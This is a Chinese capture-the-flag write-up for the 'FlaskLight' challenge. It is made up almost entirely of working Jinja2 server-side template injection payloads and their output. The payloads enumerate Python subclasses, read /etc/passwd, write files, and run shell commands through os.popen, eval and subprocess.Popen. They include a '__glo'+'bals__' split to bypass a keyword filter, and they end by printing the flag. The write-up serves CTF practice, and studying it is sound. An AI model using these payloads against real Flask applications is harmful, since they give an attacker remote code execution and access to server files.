[CSCCTF 2019 Qual]FlaskLight

F12看源码

bp抓包

由此判断为jinja2模板注入

1. 获取配置
{{config}} 

 ?search={{ ''.__class__.__mro__}}

You searched for:

(<type 'str'>, <type 'basestring'>, <type 'object'>)

?search={{ ''.__class__.__mro__[2].__subclasses__()}}

You searched for:
?search=[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'method_descriptor'>, <class 'markupsafe._MarkupEscapeHelper'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <type 'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <type 'time.struct_time'>, <type 'Struct'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'threading._Verbose'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'numbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <type 'select.epoll'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazyImporter'>, <class 'calendar.Calendar'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.Popen'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <type 'method-wrapper'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]

有可以利用的类：<type 'file'>、<class 'site._Printer'>、<class 'subprocess.Popen'>、<class 'warnings.catch_warnings'>，并发现没有内置os，需要import os。

参考：

1、<type 'file'> 读写文件,file类位置一般为40，直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}

2、<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤，用os的listdir读取目录+file模块读取文件：
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

3、<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

4、<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}

没有加载OS模块。所以在执行命令的时候需要自己加载OS模块

# 读写文件 read()，write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}

调用system方法。（不包含system，可以绕过过滤system的情况）
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

对这数据进行简单的处理：将<>换成""，再将这些数据放在列表中，通过list.index输出想要的类在第几位。

__subclasses__()后面下标获取脚本：

list = ["type 'type'", "type 'weakref'", "type 'weakcallableproxy'", "type 'weakproxy'", "type 'int'", "type 'basestring'", "type 'bytearray'", "type 'list'", "type 'NoneType'", "type 'NotImplementedType'", "type 'traceback'", "type 'super'", "type 'xrange'", "type 'dict'", "type 'set'", "type 'slice'", "type 'staticmethod'", "type 'complex'", "type 'float'", "type 'buffer'", "type 'long'", "type 'frozenset'", "type 'property'", "type 'memoryview'", "type 'tuple'", "type 'enumerate'", "type 'reversed'", "type 'code'", "type 'frame'", "type 'builtin_function_or_method'", "type 'instancemethod'", "type 'function'", "type 'classobj'", "type 'dictproxy'", "type 'generator'", "type 'getset_descriptor'", "type 'wrapper_descriptor'", "type 'instance'", "type 'ellipsis'", "type 'member_descriptor'", "type 'file'", "type 'PyCapsule'", "type 'cell'", "type 'callable-iterator'", "type 'iterator'", "type 'sys.long_info'", "type 'sys.float_info'", "type 'EncodingMap'", "type 'fieldnameiterator'", "type 'formatteriterator'", "type 'sys.version_info'", "type 'sys.flags'", "type 'exceptions.BaseException'", "type 'module'", "type 'imp.NullImporter'", "type 'zipimport.zipimporter'", "type 'posix.stat_result'", "type 'posix.statvfs_result'", "class 'warnings.WarningMessage'", "class 'warnings.catch_warnings'", "class '_weakrefset._IterationGuard'", "class '_weakrefset.WeakSet'", "class '_abcoll.Hashable'", "type 'classmethod'", "class '_abcoll.Iterable'", "class '_abcoll.Sized'", "class '_abcoll.Container'", "class '_abcoll.Callable'", "type 'dict_keys'", "type 'dict_items'", "type 'dict_values'", "class 'site._Printer'", "class 'site._Helper'", "type '_sre.SRE_Pattern'", "type '_sre.SRE_Match'", "type '_sre.SRE_Scanner'", "class 'site.Quitter'", "class 'codecs.IncrementalEncoder'", "class 'codecs.IncrementalDecoder'", "class 'string.Template'", "class 'string.Formatter'", "type 'collections.deque'", "type 'deque_iterator'", "type 'deque_reverse_iterator'", "type 'operator.itemgetter'", "type 'operator.attrgetter'", "type 'operator.methodcaller'", "type 'itertools.combinations'", "type 'itertools.combinations_with_replacement'", "type 'itertools.cycle'", "type 'itertools.dropwhile'", "type 'itertools.takewhile'", "type 'itertools.islice'", "type 'itertools.starmap'", "type 'itertools.imap'", "type 'itertools.chain'", "type 'itertools.compress'", "type 'itertools.ifilter'", "type 'itertools.ifilterfalse'", "type 'itertools.count'", "type 'itertools.izip'", "type 'itertools.izip_longest'", "type 'itertools.permutations'", "type 'itertools.product'", "type 'itertools.repeat'", "type 'itertools.groupby'", "type 'itertools.tee_dataobject'", "type 'itertools.tee'", "type 'itertools._grouper'", "type '_thread._localdummy'", "type 'thread._local'", "type 'thread.lock'", "type 'method_descriptor'", "class 'markupsafe._MarkupEscapeHelper'", "type '_io._IOBase'", "type '_io.IncrementalNewlineDecoder'", "type '_hashlib.HASH'", "type '_random.Random'", "type 'cStringIO.StringO'", "type 'cStringIO.StringI'", "type 'cPickle.Unpickler'", "type 'cPickle.Pickler'", "type 'functools.partial'", "type '_ssl._SSLContext'", "type '_ssl._SSLSocket'", "class 'socket._closedsocket'", "type '_socket.socket'", "class 'socket._socketobject'", "class 'socket._fileobject'", "type 'time.struct_time'", "type 'Struct'", "class 'urlparse.ResultMixin'", "class 'contextlib.GeneratorContextManager'", "class 'contextlib.closing'", "type '_json.Scanner'", "type '_json.Encoder'", "class 'json.decoder.JSONDecoder'", "class 'json.encoder.JSONEncoder'", "class 'threading._Verbose'", "class 'jinja2.utils.MissingType'", "class 'jinja2.utils.LRUCache'", "class 'jinja2.utils.Cycler'", "class 'jinja2.utils.Joiner'", "class 'jinja2.utils.Namespace'", "class 'jinja2.bccache.Bucket'", "class 'jinja2.bccache.BytecodeCache'", "class 'jinja2.nodes.EvalContext'", "class 'jinja2.visitor.NodeVisitor'", "class 'jinja2.nodes.Node'", "class 'jinja2.idtracking.Symbols'", "class 'jinja2.compiler.MacroRef'", "class 'jinja2.compiler.Frame'", "class 'jinja2.runtime.TemplateReference'", "class 'numbers.Number'", "class 'jinja2.runtime.Context'", "class 'jinja2.runtime.BlockReference'", "class 'jinja2.runtime.Macro'", "class 'jinja2.runtime.Undefined'", "class 'decimal.Decimal'", "class 'decimal._ContextManager'", "class 'decimal.Context'", "class 'decimal._WorkRep'", "class 'decimal._Log10Memoize'", "type '_ast.AST'", "class 'ast.NodeVisitor'", "class 'jinja2.lexer.Failure'", "class 'jinja2.lexer.TokenStreamIterator'", "class 'jinja2.lexer.TokenStream'", "class 'jinja2.lexer.Lexer'", "class 'jinja2.parser.Parser'", "class 'jinja2.environment.Environment'", "class 'jinja2.environment.Template'", "class 'jinja2.environment.TemplateModule'", "class 'jinja2.environment.TemplateExpression'", "class 'jinja2.environment.TemplateStream'", "class 'jinja2.loaders.BaseLoader'", "type 'datetime.date'", "type 'datetime.timedelta'", "type 'datetime.time'", "type 'datetime.tzinfo'", "class 'logging.LogRecord'", "class 'logging.Formatter'", "class 'logging.BufferingFormatter'", "class 'logging.Filter'", "class 'logging.Filterer'", "class 'logging.PlaceHolder'", "class 'logging.Manager'", "class 'logging.LoggerAdapter'", "class 'werkzeug._internal._Missing'", "class 'werkzeug._internal._DictAccessorProperty'", "class 'werkzeug.utils.HTMLBuilder'", "class 'werkzeug.exceptions.Aborter'", "class 'werkzeug.urls.Href'", "type 'select.epoll'", "class 'click._compat._FixupStream'", "class 'click._compat._AtomicFile'", "class 'click.utils.LazyFile'", "class 'click.utils.KeepOpenFile'", "class 'click.utils.PacifyFlushWrapper'", "class 'click.parser.Option'", "class 'click.parser.Argument'", "class 'click.parser.ParsingState'", "class 'click.parser.OptionParser'", "class 'click.types.ParamType'", "class 'click.formatting.HelpFormatter'", "class 'click.core.Context'", "class 'click.core.BaseCommand'", "class 'click.core.Parameter'", "class 'werkzeug.serving.WSGIRequestHandler'", "class 'werkzeug.serving._SSLContext'", "class 'werkzeug.serving.BaseWSGIServer'", "class 'werkzeug.datastructures.ImmutableListMixin'", "class 'werkzeug.datastructures.ImmutableDictMixin'", "class 'werkzeug.datastructures.UpdateDictMixin'", "class 'werkzeug.datastructures.ViewItems'", "class 'werkzeug.datastructures._omd_bucket'", "class 'werkzeug.datastructures.Headers'", "class 'werkzeug.datastructures.ImmutableHeadersMixin'", "class 'werkzeug.datastructures.IfRange'", "class 'werkzeug.datastructures.Range'", "class 'werkzeug.datastructures.ContentRange'", "class 'werkzeug.datastructures.FileStorage'", "class 'email.LazyImporter'", "class 'calendar.Calendar'", "class 'werkzeug.wrappers.accept.AcceptMixin'", "class 'werkzeug.wrappers.auth.AuthorizationMixin'", "class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'", "class 'werkzeug.wsgi.ClosingIterator'", "class 'werkzeug.wsgi.FileWrapper'", "class 'werkzeug.wsgi._RangeWrapper'", "class 'werkzeug.formparser.FormDataParser'", "class 'werkzeug.formparser.MultiPartParser'", "class 'werkzeug.wrappers.base_request.BaseRequest'", "class 'werkzeug.wrappers.base_response.BaseResponse'", "class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'", "class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'", "class 'werkzeug.wrappers.etag.ETagRequestMixin'", "class 'werkzeug.wrappers.etag.ETagResponseMixin'", "class 'werkzeug.wrappers.cors.CORSRequestMixin'", "class 'werkzeug.wrappers.cors.CORSResponseMixin'", "class 'werkzeug.useragents.UserAgentParser'", "class 'werkzeug.useragents.UserAgent'", "class 'werkzeug.wrappers.user_agent.UserAgentMixin'", "class 'werkzeug.wrappers.request.StreamOnlyMixin'", "class 'werkzeug.wrappers.response.ResponseStream'", "class 'werkzeug.wrappers.response.ResponseStreamMixin'", "class 'werkzeug.test._TestCookieHeaders'", "class 'werkzeug.test._TestCookieResponse'", "class 'werkzeug.test.EnvironBuilder'", "class 'werkzeug.test.Client'", "class 'uuid.UUID'", "type 'CArgObject'", "type '_ctypes.CThunkObject'", "type '_ctypes._CData'", "type '_ctypes.CField'", "type '_ctypes.DictRemover'", "class 'ctypes.CDLL'", "class 'ctypes.LibraryLoader'", "class 'subprocess.Popen'", "class 'itsdangerous._json._CompactJSON'", "class 'itsdangerous.signer.SigningAlgorithm'", "class 'itsdangerous.signer.Signer'", "class 'itsdangerous.serializer.Serializer'", "class 'itsdangerous.url_safe.URLSafeSerializerMixin'", "class 'flask._compat._DeprecatedBool'", "class 'werkzeug.local.Local'", "class 'werkzeug.local.LocalStack'", "class 'werkzeug.local.LocalManager'", "class 'werkzeug.local.LocalProxy'", "class 'difflib.HtmlDiff'", "class 'werkzeug.routing.RuleFactory'", "class 'werkzeug.routing.RuleTemplate'", "class 'werkzeug.routing.BaseConverter'", "class 'werkzeug.routing.Map'", "class 'werkzeug.routing.MapAdapter'", "class 'flask.signals.Namespace'", "class 'flask.signals._FakeSignal'", "class 'flask.helpers.locked_cached_property'", "class 'flask.helpers._PackageBoundObject'", "class 'flask.cli.DispatchingApp'", "class 'flask.cli.ScriptInfo'", "class 'flask.config.ConfigAttribute'", "class 'flask.ctx._AppCtxGlobals'", "class 'flask.ctx.AppContext'", "class 'flask.ctx.RequestContext'", "class 'flask.json.tag.JSONTag'", "class 'flask.json.tag.TaggedJSONSerializer'", "class 'flask.sessions.SessionInterface'", "class 'werkzeug.wrappers.json._JSONModule'", "class 'werkzeug.wrappers.json.JSONMixin'", "class 'flask.blueprints.BlueprintSetupState'", "type 'unicodedata.UCD'", "class 'jinja2.ext.Extension'", "class 'jinja2.ext._CommentFinder'", "type 'array.array'", "type 'method-wrapper'"]

print(list.index("type 'file'"))
print(list.index("class 'warnings.catch_warnings'"))
print(list.index("class 'site._Printer'"))
print(list.index("class 'subprocess.Popen'"))

输出：

40
59
71
258

<type 'file'> file类位置为40，直接调用

?search={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

You searched for:
?search=root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false

class 'warnings.catch_warnings'的位置为59

?search={{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

You searched for:
bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

 ?search={{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}

You searched for:
?search=app.py coomme_geeeett_youur_flek

?search={{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

或者：

{{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/coomme_geeeett_youur_flek').read() }}

You searched for:
flag{d946a025-350c-41aa-b71b-636e062b38ec}